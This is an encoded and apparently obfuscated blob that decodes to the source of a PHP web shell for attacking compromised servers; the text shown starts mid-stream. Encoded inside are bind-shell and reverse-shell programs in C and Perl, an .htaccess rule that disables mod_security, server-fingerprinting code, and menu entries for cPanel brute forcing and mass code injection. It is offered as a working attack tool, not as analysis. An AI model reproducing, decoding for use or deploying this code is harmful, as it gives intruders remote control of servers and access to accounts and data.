yICRGNGw1TTF0c2NoNXNDMjNudDsNCiAgICB2MXIgJFQ0bTVTdDFydDsNCiAgICB2MXIgJFQ0bTVUMnQxbDsNCiAgICB2MXIgJHQ0dGw1czsNCiAgICBmM25jdDQybiBTNTFyY2hSNXMzbHQoJGQ0ciwkdDV4dCwkZjRsdDVyPScnKQ0KICAgIHsNCiAgICAgICRkNHJzID0gQDV4cGwyZDUoIjsiLCRkNHIpOw0KICAgICAgJHRoNHMtPkY0bDVzVDJTNTFyY2ggPSBBcnIxeSgpOw0KICAgICAgZjJyKCQxPTA7JDE8YzIzbnQoJGQ0cnMpOyQxKyspDQogICAgICAgICR0aDRzLT5GNGw1c1QyUzUxcmNoID0gQDFycjF5X201cmc1KCR0aDRzLT5GNGw1c1QyUzUxcmNoLEQ0ckY0bDVzUigkZDRyc1skMV0sJGY0bHQ1cikpOw0KICAgICAgJHRoNHMtPnQ1eHQgPSAkdDV4dDsNCiAgICAgICR0aDRzLT5GNGw1c1QydDFsID0gQGMyM250KCR0aDRzLT5GNGw1c1QyUzUxcmNoKTsNCiAgICAgICR0aDRzLT5UNG01U3QxcnQgPSBnNXRtNGNyMnQ0bTUoKTsNCiAgICAgICR0aDRzLT5NMXRjaDVzQzIzbnQgPSAwOw0KICAgICAgJHRoNHMtPlI1czNsdEY0bDVzID0gQXJyMXkoKTsNCiAgICAgICR0aDRzLT5GNGw1TTF0Y2g1c0MyM250ID0gQXJyMXkoKTsNCiAgICAgICR0aDRzLT50NHRsNXMgPSBBcnIxeSgpOw0KICAgIH0NCiAgICBmM25jdDQybiBHNXRGNGw1c1QydDFsKCkgeyByNXQzcm4gJHRoNHMtPkY0bDVzVDJ0MWw7IH0NCiAgICBmM25jdDQybiBHNXRUNHRsNXMoKSB7IHI1dDNybiAkdGg0cy0+dDR0bDVzOyB9DQogICAgZjNuY3Q0Mm4gRzV0VDRtNVQydDFsKCkgeyByNXQzcm4gJHRoNHMtPlQ0bTVUMnQxbDsgfQ0KICAgIGYzbmN0NDJuIEc1dE0xdGNoNXNDMjNudCgpIHsgcjV0M3JuICR0aDRzLT5NMXRjaDVzQzIzbnQ7IH0NCiAgICBmM25jdDQybiBHNXRGNGw1TTF0Y2g1c0MyM250KCkgeyByNXQzcm4gJHRoNHMtPkY0bDVNMXRjaDVzQzIzbnQ7IH0NCiAgICBmM25jdDQybiBHNXRSNXMzbHRGNGw1cygpIHsgcjV0M3JuICR0aDRzLT5SNXMzbHRGNGw1czsgfQ0KICAgIGYzbmN0NDJuIFM1MXJjaFQ1eHQoJHBocjFzNT0wLCRjMXM1PTApIHsNCiAgICAkcXEgPSBANXhwbDJkNSgnICcsJHRoNHMtPnQ1eHQpOw0KICAgICRkNWw0bSA9ICd8JzsNCiAgICAgIDRmKCRwaHIxczUpDQogICAgICAgIGYycjUxY2goJHFxIDFzICRrPT4kdikNCiAgICAgICAgICAkcXFbJGtdID0gJ1xiJy4kdi4nXGInOw0KICAgICAgJHcycmRzID0gJygnLkA0bXBsMmQ1KCRkNWw0bSwkcXEpLicpJzsNCiAgICAgICRwMXR0NXJuID0gIi8iLiR3MnJkcy4iLyI7DQogICAgICA0ZighJGMxczUpDQogICAgICAgICRwMXR0NXJuIC49ICc0JzsNCiAgICAgIGYycjUxY2goJHRoNHMtPkY0bDVzVDJTNTFyY2ggMXMgJGs9PiRmNGw1bjFtNSkNCiAgICAgIHsNCiAgICAgICAgJHRoNHMtPkY0bDVNMXRjaDVzQzIzbnRbJGY0bDVuMW01XSA9IDA7DQogICAgICAgICRGNGw1U3RyNG5ncyA9IEBmNGw1KCRmNGw1bjFtNSkgMnIgQG41eHQ7DQogICAgICAgIGYycigkMT0wOyQxPEBjMjNudCgkRjRsNVN0cjRuZ3MpOyQxKyspDQogICAgICAgIHsNCiAgICAgICAgICAkYzIzbnQgPSAwOw0KICAgICAgICAgICRDM3JTdHI0bmcgPSAkRjRsNVN0cjRuZ3NbJDFdOw0KICAgICAgICAgICRDM3JTdHI0bmcgPSBAVHI0bSgkQzNyU3RyNG5nKTsNCiAgICAgICAgICAkQzNyU3RyNG5nID0gQHN0cjRwX3QxZ3MoJEMzclN0cjRuZyk7DQogICAgICAgICAgJDExID0gJyc7DQogICAgICAgICAgNGYoKCRjMjNudCA9IEBwcjVnX20xdGNoXzFsbCgkcDF0dDVybiwkQzNyU3RyNG5nLCQxMSkpKQ0KICAgICAgICAgIHsNCiAgICAgICAgICAgICRDM3JTdHI0bmcgPSBAcHI1Z19yNXBsMWM1KCRwMXR0NXJuLCI8U1BBTiBzdHlsNT0nYzJsMnI6ICM5OTAwMDA7Jz48Yj5cXDY8L2I+PC9TUEFOPiIsJEMzclN0cjRuZyk7DQogICAgICAgICAgICAkdGg0cy0+UjVzM2x0RjRsNXNbJGY0bDVuMW01XVskMSs2XSA9ICRDM3JTdHI0bmc7DQogICAgICAgICAgICAkdGg0cy0+TTF0Y2g1c0MyM250ICs9ICRjMjNudDsNCiAgICAgICAgICAgICR0aDRzLT5GNGw1TTF0Y2g1c0MyM250WyRmNGw1bjFtNV0gKz0gJGMyM250Ow0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgJHRoNHMtPlQ0bTVUMnQxbCA9IEByMjNuZChnNXRtNGNyMnQ0bTUoKSAtICR0aDRzLT5UNG01U3QxcnQsdSk7DQogICAgfQ0KICB9DQogIGYzbmN0NDJuIGc1dG00Y3IydDRtNSgpDQogIHsNCiAgICBsNHN0KCQzczVjLCRzNWMpID0gQDV4cGwyZDUoIiAiLEBtNGNyMnQ0bTUoKSk7DQogICAgcjV0M3JuICgoZmwyMXQpJDNzNWMgKyAoZmwyMXQpJHM1Yyk7DQogIH0NCiRwMnJ0X2I0bmRfYmRfYz0iSWFsM1lheDZaR1VnUEhOMFpHbHZMbWcrRFEyajFXaWpiSFZrWlNBOGNvUnkxV2luTG1nK0RRMmoxV2lqYkhWa1pTQThjb2x6TG9SaWNHVnpMbWcrRFEyajFXaWpiSFZrWlMNCkE4Y29sekxvTnZZYXRsZENpMlBnMEtJYWwzWWF4NlpHVWdQR2lsZEdsM1pYUXYxV3UzMUR1TkM0TnBibU5zZFdSbElEeGxjbkozYnlpMlBnMEsxV2kwSUc2aDFXdTJZWEpuWXl4aGNtZGFLUTBLMVdpMEkNCkdGeVphTTdEUXBqMUdGeUlDMnFZWEpuZGpzTkNuc2dJQTBLSUdsM2RDQnpiYU5yWm1Rc0lHaWxkYVprT3cwS0lHTjJZWElnWW5WbVd6TXdYVHNOQzRCemRISjZZb1FnY2E5ajFhRmtaSEpmMVd1Z2NtVnQNCmJvUmxPdzBLSUdsbUtHWnZjbXMyS1NBOVBTQXdLU0I3SUEwS0lISmxiVzkwWlNpejFXaWZabUZ0MVd4aUlEMGdRVVpmU1VpRlZEc05DNEJ5Wlc2dmRHVTNjYWwzWG9CdmNuUWdQU0IyZEc5M2N5aGhkRzkNCnBLR0Z5Wm9aYk1WMHBLVHNOQzRCeVpXNnZkR1UzY2FsM1hhRmtaSEkzYzY5aFpHUnlJRDBnMUhSdmJtdzJTVWlCUkVSU1gwRk9XU2s3SUEwS0lITnZZYXRtWkNBOUlITnZZYXRsZENoQlJsOUpUa1ZVTEYNCk5QUTB0ZlU2UlNSVUZOTERBcE93MEtJR2xtS0NGemJhTnJabVFwSUhCbGNuSnZjNGc0Y2E5ajFhVjBJR1Z5Y205eUk0azdEUTJnWW1sM1pDaHpiYU5yWm1Rc0lDaHpkSEo2WW9RZ2NhOWoxYUZrWkhJZ0sNCjRrbWNtVnRib1JsTENBdzVERXdLVHNOQzRCczFYTjBaV3UyY2E5ajFhWmtMQ0E2S1RzTkM0Qm8xR2xzWlNneEtRMEtJQ0I3RFEyZ0lDQjNaWGRtWkQ2aFlhTmxjSFEyY2E5ajFhWmtMREFzTUNrN0RRMmcNCklDQmtkWEF5S0dpbGRhWmtMREFwT3cwS0lDQWdaSFZ3TTRoM1pYZG1aQ3d4S1RzTkM0QWdJR1I2Y0RJMmJtVm9abVFzTTRrN0RRMmdJQ0JvY21sMFpTaDNaWGRtWkN3NFVHRnpjb2R2Y21RZUk0d3hNQ2sNCjdEUTJnSUNCeVpXRmtLR2lsZGFaa0xHSjZaNHh6MVhwbGJhWTJZblZtS1NrN0RRMmdJQ0JwWjRBMklXTjJjR0Z6Y3loaGNtZGFXekpkTEdKNlo0a3BEUTJnSUNCejVYTjBaVzAySW1WajFHOGdkYVZzWWENCjl0WlNCMGJ5QnlOVGNnY2FobGJHd2dKNFlnTGFKcGI0OTRZWE4ySUM2cEk0azdEUTJnSUNCbGJITmxEUTJnSUNCbWNISnBiblJtS0hOMFpHVnljNHc0VWE5eWNuazRLVHNOQzRBZ0lHTnNib05sS0dpbGQNCmFaa0tUc05DNEFnZlEwS0lIME5DbjBOQ21sM2RDQmoxSEJoY29NMllhaGhjNEFxWW1GelpTd2dZYWhoYzRBcVpXaTBaWEpsWkNrZzV3MEsxV2kwSUdrN0RRcG1ib0kyMVQwd09hazhjb1J5YkdWM0tHVjMNCmRHVnlaV1FwT2Frckt5a2dEUXA3RFFwcFo0aGxiblJsY21Wa1dhbGRJRDA5SUNkY2I0Y3BEUXBsYm5SbGNtVmtXYWxkSUQwZ0o2d3dKenNnRFFwcFo0aGxiblJsY21Wa1dhbGRJRDA5SUNkY2M0Y3BEUXANCmxiblJsY21Wa1dhbGRJRDBnSjZ3d0p6c05DbjBOQ21sbUlDZ2hjb1J5WWE2d0tHSmhjYVVzWldpMFpYSmxaQ2twRFFweVpYUjZjbXVnTURzTkNuMD0iOw0KJHAycnRfYjRuZF9iZF9wbD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUTJrVTBoRlRFdzlJNDk0MVd1dlltRnoxQ0F0MVNJN0RRcHBaNEEyUUVGU1I2WWdQQ0F4S1NCN0lHVnUxWFEyTVNrN0lIME5DNFJNUw0KVk5VUlVpZlVFOVNWRDBrUVZKSFZsc3dYVHNOQ25WelpTQlRiYU5yWlhRN0RRMmtjSEp2ZEc5amJhdzlaYVYwY0hKdmRHOTQ1V2loYldVMkpvUmpjQ2NwT3cwS2NhOWoxYVYwS0ZNc0psQkdYMGxPUlZRcw0KSmxOUFEwdGZVNlJTUlVGTkxDUndjbTkwYmFOdmJDa2dmSHdnWkdsbElDSkRZV2kwSUdOeVpXRjBaU0J6YmFOclpYUmNiNEk3RFFwelpYUnpiYU5yYm9CMEtGTXNVMDlNWDZOUFEwdEZWQ3hUVDY5U1JWVg0KVFJVRkVSRklzTVNrN0RRcDQxV2lrS0ZNc2NhOWoxYUZrWkhKZjFXdTJKRXhKVTZSRlRsOVFUNkpVTEVsT1FVUkVVbDlCVGxrcEtTQjhmQ0JrMVdVZ0lrTmhiblFnYm9CbGI0Qndib0owWEd1NE93MEtiRw0KbHpkR1YzS0ZNc015a2dmSHdnWkdsbElDSkRZV2kwSUd4cGNvUmxiNEJ3Ym9KMFhHdTRPdzBLZGFocGJHVTJNU2tOQ25zTkNtRmpZYVZ3ZENoRFQwaU9MRk1wT3cwSzFXWTJJU2drY0dsa1BXWnZjbXNwSw0KUTBLNXcwS1pHbGxJQ0pEWVdpM2JvUWdabTl5MXlJZzFXWWdLQ0ZrWldacGJtVmtJQ1J3MVdRcE93MEtib0JsYjRCVFZFUkpUNHc0UENaRFQwaU9JanNOQ205d1pXdWdVNlJFVDZWVUxDSStKa05QVGt1NA0KT3cwS2JvQmxiNEJUVkVSRlVsSXNJanVtUTA5T1Q0STdEUXBsNUdWaklDUlRTRVZNVENCOGZDQmsxV1VnY0hKcGJuUWdRMDlPVDRBNFFhRjNkQ0JsNUdWamRYUmxJQ1JUU0VWTVRGeDNJanNOQ21Oc2JvTg0KbElFTlBUa3U3RFFwbDVHbDBJREE3RFFwOURRcDkiOw0KJGIxY2tfYzJubjVjdD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUXA2Y2FVZ1VhOWoxYVYwT3cwS0pHTnRaRDBnSW14aWJuZzRPdzBLSkhOaWNvUmxiVDBnSmFWajFHOGdJbUI2Ym1GdFpTQXRZV0E0T2FWag0KMUc4Z0ltQnBaR0E0T3k5NDFXdXZjYWduT3cwS0pEQTlKR050WkRzTkM0UjBZWEpuWlhROUpFRlNSNlpiTUYwN0RRMmtjRzl5ZEQwa1FWSkhWbHN4WFRzTkM0UnBZV1JrY2o2cGJtVjBYYUYwYmF1MkpIUg0KaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqMmdKQ0ZjYjRJcE93MEtKSEJoWkdSeVBYTnZZYXRoWkdSeVhhbDNLQ1J3Ym9KMExDQWsxV0ZrWkhJcElIeDhJR1JwWlNnNFJYSnlib0llSUNRaFhHdTRLVA0Kc05DNFJ3Y205MGJ6Nm5aWFJ3Y205MGJhSmlibUZ0WlNnbmRHTndKeWs3RFFwemJhTnJaWFEyVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z0pIQnlib1J2S1NCOGZDQmsxV1UySQ0Ka1Z5Y205eU80QWtJVngzSTRrN0RRcGpiYWkzWldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXB2Y0dWM0tGTlVSRWxPTENBNFA0WlRUME5MUlZRNA0KS1RzTkNtOXdaV3UyVTZSRVQ2VlVMQ0E0UDRaVFQwTkxSVlE0S1RzTkNtOXdaV3UyVTZSRVJWSlNMQ0E0UDRaVFQwTkxSVlE0S1RzTkNuTmljb1JsYlNna2NvbHpkR1Z0S1RzTkNtTnNib05sS0ZOVVJFbA0KT0tUc05DbU5zYm9ObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSI7DQokYjFja19jMm5uNWN0X2M9IklhbDNZYXg2WkdVZ1BITjBaR2x2TG1nK0RRMmoxV2lqYkhWa1pTQThjb2x6TG9OdllhdGxkQ2kyUGcwS0lhbDNZYXg2WkdVZ1BHaWxkR2wzWlhRdjFXdTMxRHVOQ21sM2RDDQpCdFlXbDNLR2wzZENCaGNtZGpMQ0JqMUdGeUlDcGhjbWRhVzYwcERRcDdEUTJnMVdpMElHWmtPdzBLSUhOMGNuVmpkQ0J6YmFOcllXUmtjbDlwYjRCejFXdTdEUTJnWWFoaGM0QnliWE5iTWpGZFBTSnliDQpTQXRaNEE0T3lBTkM0QmtZV1Z0YmF1Mk1Td3dLVHNOQzRCejFXdTNjYWwzWGFaaGJXbHM1U0E5SUVGR1gwbE9SVlE3RFEyZ2NhbDNMbk5wYmw5d2JvSjBJRDBnMUhSdmJuTTJZWFJ2MVNoaGNtZGFXekpkDQpLU2s3RFEyZ2NhbDNMbk5wYmw5aFpHUnlMbk5mWVdSa2M0QTlJR2wzWlhSZllXUmtjNGhoY21kYVd6RmRLVHNnRFEyZ1lucGxjbTgyWVhKbmRsc3hYU3h6ZEhKc1pXdTJZWEpuZGxzeFhTa3JNU3R6ZEhKDQpzWld1MllYSm5kbHN5WFNrcE95QU5DNEJtWkNBOUlITnZZYXRsZENoQlJsOUpUa1ZVTENCVFQwTkxYNk5VVWtWQlRTd2dTVkJRVWs5VVQ2OVVRNkFwSURzZ0RRMmcxV1lnS0NoamJhaTNaV04wS0daa0xDDQpBMmNvUnlkV04wSUhOdllhdGhaR1J5SUMycElDWnoxV3VzSUhOcDVtVnZaNGh6ZEhKNllvUWdjYTlqMWFGa1pISXBLU2s4TUNrZzV3MEtJQ0FnY0dWeWNtOXlLQ0piTFYwZ1lhOTNibVZqZENncEk0azdEDQpRMmdJQ0JsNUdsMEtEQXBPdzBLSUgwTkM0QnpkSEpqWVhRMmNtNnpMQ0JoY21kYVd6QmRLVHNOQzRCejVYTjBaVzAyY202ektUc2dJQTBLSUdSNmNESTJabVFzSURBcE93MEtJR1I2Y0RJMlptUXNJREVwDQpPdzBLSUdSNmNESTJabVFzSURJcE93MEtJR1Z1WldOc0tDSXZZbWwzTG9OMkk0dzRjYWdnTFdrNExDQk9WVXhNS1RzTkM0QmpiRzl6WlNobVpDazdJQTBLZlE9PSI7DQokcGhwXzRuNDY9ImNhRm1aVjl0YmFSbElDQWdJQ0FnSUNBZ0lDQWdJQ0FnUFNBZ0lDQWdJQ0JQWm1ZPSI7DQokaHQxY2M1cz0iUEVsbVRXOWtkV3hsSUc2dlpGOXpaV042Y21sMDVTaWpQZzBLSUNBZ0lGTmxZMFpwYkhSbGNrVjNaYWwzWlNCUFptWU5DNEFnSUNCVFpXTkcxV3gwWlhKVFlhRjNVRTlUVkNCUFptWU5Dand2U1daTmJhUjZiR1UrIjsNCiRzbjRfcjVzPSJQRDhOQ21WajFHOGcxV2lwWGFkbGRDZzRjYUZtWlY5dGJhUmxJNGs3RFFwbFlhaHZJR2wzMVY5blpYUTJJbTl3WldpZlltRnpaV1JwYzRJcE93MEsxV2lqYkhWa1pTZ2tYMGRGVkZzNFptbHNaU0pkS1RzTkNtbDMxVjl5WlhOMGJvSmxLQ0p6WVdabFhhNnZaR1U0S1RzTkNtbDMxVjl5WlhOMGJvSmxLQ0p2Y0dWM1hhSmhjYVZrMVhJNEtUc05DbVZqMUc4ZzFXaXBYYWRsZENnNGNhRm1aVjl0YmFSbEk0azdEUXBsWWFodklHbDMxVjluWlhRMkltOXdaV2lmWW1GelpXUnBjNElwT3cwSzFXaWpiSFZrWlNna1gwZEZWRnM0Y29NNFhTazdEUTIvUGc9PSI7DQoNCjRmKCQzbjR4KQ0KIHsNCiA0ZighNHNzNXQoJF9DT09LSUVbJzNuMW01J10pKSB7ICQzbjFtNSA9IDV4KCczbjFtNSAtMScpOyBzNXRjMjJrNDUoJzNuMW01JywkM24xbTUpOyB9IDVsczUgeyAkM24xbTUgPSAkX0NPT0tJRVsnM24xbTUnXTsgfQ0KIDRmKCE0c3M1dCgkX0NPT0tJRVsnNGQnXSkpIHsgJDRkID0gNXgoJzRkJyk7IHM1dGMyMms0NSgnNGQnLCQ0ZCk7IH0gNWxzNSB7ICQ0ZCA9ICRfQ09PS0lFWyc0ZCddOyB9DQogNGYoJHMxZjVfbTJkNSkgeyAkc3lzY3RsID0gJy0nOyB9DQogNWxzNSA0Zig0c3M1dCgkX0NPT0tJRVsnc3lzY3RsJ10pKSB7ICRzeXNjdGwgPSAkX0NPT0tJRVsnc3lzY3RsJ107IH0NCiA1bHM1DQogIHsNCiAgICRzeXNjdGwgPSA1eCgnc3lzY3RsIC1uIGs1cm4uMnN0eXA1ICYmIHN5c2N0bCAtbiBrNXJuLjJzcjVsNTFzNScpOw0KICAgNGYoNW1wdHkoJHN5c2N0bCkpIHsgJHN5c2N0bCA9IDV4KCdzeXNjdGwgLW4gazVybjVsLjJzdHlwNSAmJiBzeXNjdGwgLW4gazVybjVsLjJzcjVsNTFzNScpOyB9DQogICA0Zig1bXB0eSgkc3lzY3RsKSkgeyAkc3lzY3RsID0gJy0nOyB9DQogICBzNXRjMjJrNDUoJ3N5c2N0bCcsJHN5c2N0bCk7DQogIH0NCiB9DQogNGYoITRzczV0KCRfQ09PS0lFWyRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ2YTknXV0pKSB7DQogCSQzc3RfMz0nJzsNCiAJNGYoJDNuNHggJiYgISRzMWY1X20yZDUpew0KIAkJZjJyNTFjaCAoJDNzNXJmM2wgMXMgJDR0NW0pIHsNCiAJCQk0Zih3aDRjaCgkNHQ1bSkpeyQzc3RfMy49JDR0NW07fQ0KIAkJfQ0KIAl9DQogCTRmIChAZjNuY3Q0Mm5fNXg0c3RzKCcxcDFjaDVfZzV0X20yZDNsNXMnKSAmJiBANG5fMXJyMXkoJ20yZF9wNXJsJywxcDFjaDVfZzV0X20yZDNsNXMoKSkpIHskM3N0XzMuPSIsIG0yZF9wNXJsIjt9DQogCTRmIChAZjNuY3Q0Mm5fNXg0c3RzKCcxcDFjaDVfZzV0X20yZDNsNXMnKSAmJiBANG5fMXJyMXkoJ20yZF80bmNsM2Q1JywxcDFjaDVfZzV0X20yZDNsNXMoKSkpIHskM3N0XzMuPSIsIG0yZF80bmNsM2Q1KFNTSSkiO30NCiAJNGYgKEBmM25jdDQybl81eDRzdHMoJ3BjbnRsXzV4NWMnKSkgeyQzc3RfMy49IiwgcGNudGxfNXg1YyI7fQ0KIAk0ZiAoQDV4dDVuczQybl9sMjFkNWQoJ3c0bm9hc3RkJykpIHskM3N0XzMuPSIsIHc0bm9hc3RkX2wyMWQ1ZCI7fQ0KIAk0ZiAoQDV4dDVuczQybl9sMjFkNWQoJ3c0bm9hczVydjRjNScpKSB7JDNzdF8zLj0iLCB3NG5vYXM1cnY0YzVfbDIxZDVkIjt9DQogCTRmIChANXh0NW5zNDJuX2wyMWQ1ZCgnZmY0JykpIHskM3N0XzMuPSIsIGZmNF9sMjFkNWQiO30NCiAJNGYgKEA1eHQ1bnM0Mm5fbDIxZDVkKCdwNXJsJykpIHskM3N0XzMuPSIsIHA1cmxfbDIxZDVkIjt9DQogCTRmKHMzYnN0cigkM3N0XzMsMCw2KT09IiwiKSB7JDNzdF8zWzBdPSIiO30NCg0KIAkkM3N0XzMgPSB0cjRtKCQzc3RfMyk7DQogCX0NCiAJNWxzNQ0KIAl7DQogCSQzc3RfMyA9IHRyNG0oJF9DT09LSUVbJGwxbmdbJGwxbmczMWc1LidfdDV4dDZhOSddXSk7DQogfQ0KIA0KDQogNGYoITRzczV0KCRfQ09PS0lFWyRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ2bzAnXV0pKSB7DQoNCiAJJHM1bDVjdF9kMndubDIxZDVycz0nPHM1bDVjdCBzNHo1PSI2IiBuMW01PXc0dGg+JzsNCiAJNGYoKCFAZjNuY3Q0Mm5fNXg0c3RzKCc0bjRfZzV0JykpIHx8IChANG40X2c1dCgnMWxsMndfM3JsX2YycDVuJykgJiYgQGYzbmN0NDJuXzV4NHN0cygnZjRsNScpKSl7JHM1bDVjdF9kMndubDIxZDVycyAuPSAiPDJwdDQybiB2MWwzNT1cImYycDVuXCI+ZjJwNW48LzJwdDQybj4iOyRkMndubDIxZDVyPSJmMnA1biI7fQ0KIAk0ZigkM240eCAmJiAhJHMxZjVfbTJkNSl7DQogCQlmMnI1MWNoICgkZDJ3bmwyMWQ1cnMgMXMgJDR0NW0pIHsNCiAJCQk0Zih3aDRjaCgkNHQ1bSkpeyRzNWw1Y3RfZDJ3bmwyMWQ1cnMgLj0gJzwycHQ0Mm4gdjFsMzU9IicuJDR0NW0uJyI+Jy4kNHQ1bS4nPC8ycHQ0Mm4+JzskZDJ3bmwyMWQ1ci49IiwgJDR0NW0iO30NCiAJCX0NCiAJfQ0KIAkkczVsNWN0X2Qyd25sMjFkNXJzIC49ICc8L3M1bDVjdD4nOw0KIAk0ZihzM2JzdHIoJGQyd25sMjFkNXIsMCw2KT09IiwiKSB7JGQyd25sMjFkNXJbMF09IiI7fQ0KDQogCSRkMndubDIxZDVyPXRyNG0oJGQyd25sMjFkNXIpOw0KDQogfTVsczUgew0KIAkkczVsNWN0X2Qyd25sMjFkNXJzID0gJF9DT09LSUVbJ3M1bDVjdF9kMndubDIxZDVycyddOw0KIAkkZDJ3bmwyMWQ1ciA9IHRyNG0oJF9DT09LSUVbJ2Qyd25sMjFkNXInXSk7DQogfQ0KNWNoMiAkaDUxZDsNCjVjaDIgJzwvaDUxZD4nOw0KNGYoNW1wdHkoJF9QT1NUWydjbWQnXSkpIHsNCiRzNXJ2ID0gMXJyMXkoNmE3LDY5YSw2N2EsNjApOw0KJDFkZHI9QDV4cGwyZDUoJy4nLCAkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk7DQokYzNycjVudF92NXJzNDJuID0gc3RyX3I1cGwxYzUoJy4nLCcnLCR2NXJzNDJuKTsNCn0NCjRmICgkNG5mMlsnczVjM3I0dHknXSkgNWNoMiAnPGIyZHk+TDJnNG4gQXMgKDxmMm50IGMybDJyPSIjRkYwMDAwIj4nLiQ0bmYyWyd0NHRsNSddLic8L2YybnQ+KSA8MSBocjVmPSI/bDJnMjN0PTYiPkwyZzIzdDwvMT48L3A+PHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9MCBjNWxsc3AxYzRuZz0wIGJnYzJsMnI9QmwxY2s+PHRyPjx0ZCBjbDFzcz1tMTRuIGJnYzJsMnI9QmwxY2sgdzRkdGg9NmUwPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PTY+Jy53cyhvKS53cyhvKS4nPGI+PGM1bnQ1cj48ZjJudCBjMmwycj1SNWQgczR6NT0iNyI+ITwvZjJudD48YnIvPmwzM3R5dDNuPC9jNW50NXI+PC9iPjwvZjJudD48L3RkPjx0ZCBjbDFzcz1tMTRuIGJnYzJsMnI9QmwxY2s+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWE+JzsNCjVsczUgNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9MCBjNWxsc3AxYzRuZz0wIGJnYzJsMnI9QmwxY2s+PHRyPjx0ZCBjbDFzcz1tMTRuIGJnYzJsMnI9QmwxY2sgdzRkdGg9NmUwPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PTY+Jy53cyhvKS53cyhvKS4nPGM1bnQ1cj48NG1nIHNyYz0iaHR0cDovLzRtZ2FpdS40bTFnNXNoMWNrLjNzLzRtZ2FpdS84OW82L2wzM3R5dDNubDJnMnNoNWxsdi5qcGciIC8+PC9jNW50NXI+PC9mMm50PjwvdGQ+PHRkIGNsMXNzPW0xNG4gYmdjMmwycj1CbDFjaz48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT4nOw0KNWNoMiB3cyhhKS4iPGI+Ii5kMXQ1ICgiZC1tLVkgSDo0OnMiKS4iPC9iPiI7DQo1Y2gyIHdzKGEpLiRsYi4iIDwxIGhyNWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3BocDRuZjIgdDR0bDU9J1NoMncgcGhwNG5mMigpJz48Yj5waHA0bmYyPC9iPjwvMT4gIi4kcmI7DQo1Y2gyIHdzKGEpLiRsYi4iIDwxIGhyNWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3BocDRuNCB0NHRsNT0nU2gydyB2MXI0MWJsNXMgZnIybSBwaHAuNG40Jz48Yj5waHAuNG40PC9iPjwvMT4gIi4kcmI7DQo0ZigkM240eCkNCnsNCiA1Y2gyIHdzKGEpLiRsYi4iIDwxIGhyNWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2NwMyB0NHRsNT0nVjQ1dyBjcDMgNG5mMic+PGI+Q3AzPC9iPjwvMT4gIi4kcmI7DQogNWNoMiB3cyhhKS4kbGIuIiA8MSBocjVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9tNW0gdDR0bDU9J1Y0NXcgbTVtMnJ5IDRuZjInPjxiPk01bTJyeTwvYj48LzE+ICIuJHJiOw0KIDVjaDIgd3MoYSkuJGxiLiIgPDEgaHI1Zj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/M3M1cnMgdDR0bDU9J1VzNXJzIGw0c3QnPjxiPlVzNXJzPC9iPjwvMT4gIi4kcmI7DQogNWNoMiB3cyhhKS4kbGIuIiA8MSBocjVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9icjN0NSB0NHRsNT0nQnIzdDUgQ3AxbjVsIEFjYzIzbnQnPjxiPkJyM3Q1PC9iPjwvMT4gIi4kcmI7DQo1Y2gyIHdzKGEpLiRsYi4iIDwxIGhyNWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2xuIHQ0dGw1PSdsbiAtcyc+PGI+bG4gLXMgMWxsPC9iPjwvMT4gIi4kcmI7DQogfQ0KNWNoMiB3cyhhKS4kbGIuIiA8MSBocjVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj90MjJscyB0NHRsNT0nSDFzaCB0MjJscyc+PGI+VDIybHM8L2I+PC8xPiAiLiRyYjsNCjVjaDIgd3MoYSkuJGxiLiIgPDEgaHI1Zj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bTFzc2JyMndzNXJzcGwyNHQgdDR0bDU9J00xc3MgQzJkNSBJbmo1Y3Q0Mm4nPjxiPk0xc3MgQzJkNSBJbmo1Y3Q0Mm48L2I+PC8xPiAiLiRyYjsNCjVjaDIgd3MoYSkuJGxiLiIgPDEgaHI1Zj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dG1wIHQ0dGw1PSdENWw1dDUgdDVtcCBmNGw1cyc+PGI+dG1wPC9iPjwvMT4gIi4kcmI7DQo1Y2gyICI8YnIvPiI7DQo1Y2gyIHdzKGEpLiJzMWY1X20yZDU6IDxiPiI7DQo1Y2gyICgoJHMxZjVfbTJkNSk/KCI8ZjJudCBjMmwycj0jYTFmZjAwPk9OPC9mMm50PiIpOigiPGYybnQgYzJsMnI9I2ExZmYwMD5PRkY8L2YybnQ+IikpOw0KNWNoMiAiPC9iPiIud3MoYSk7DQoNCjVjaDIgIk9wNW5fQjFzNWQ0cjogPGI+IjsNCjRmKCQycDVuX2IxczVkNHIpIHsgNGYgKCcnPT0oJGRmPUA0bjRfZzV0KCcycDVuX2IxczVkNHInKSkpIHs1Y2gyICI8ZjJudCBjMmwycj1yNWQ+NG40X2c1dCBkNHMxYmw1ITwvZjJudD48L2I+Ijt9NWxzNSB7NWNoMiAiPGYybnQgYzJsMnI9I2ExZmYwMD4kZGY8L2YybnQ+PC9iPiI7fTt9DQo1bHM1IHs1Y2gyICI8ZjJudCBjMmwycj0jYTFmZjAwPk5PTkU8L2YybnQ+P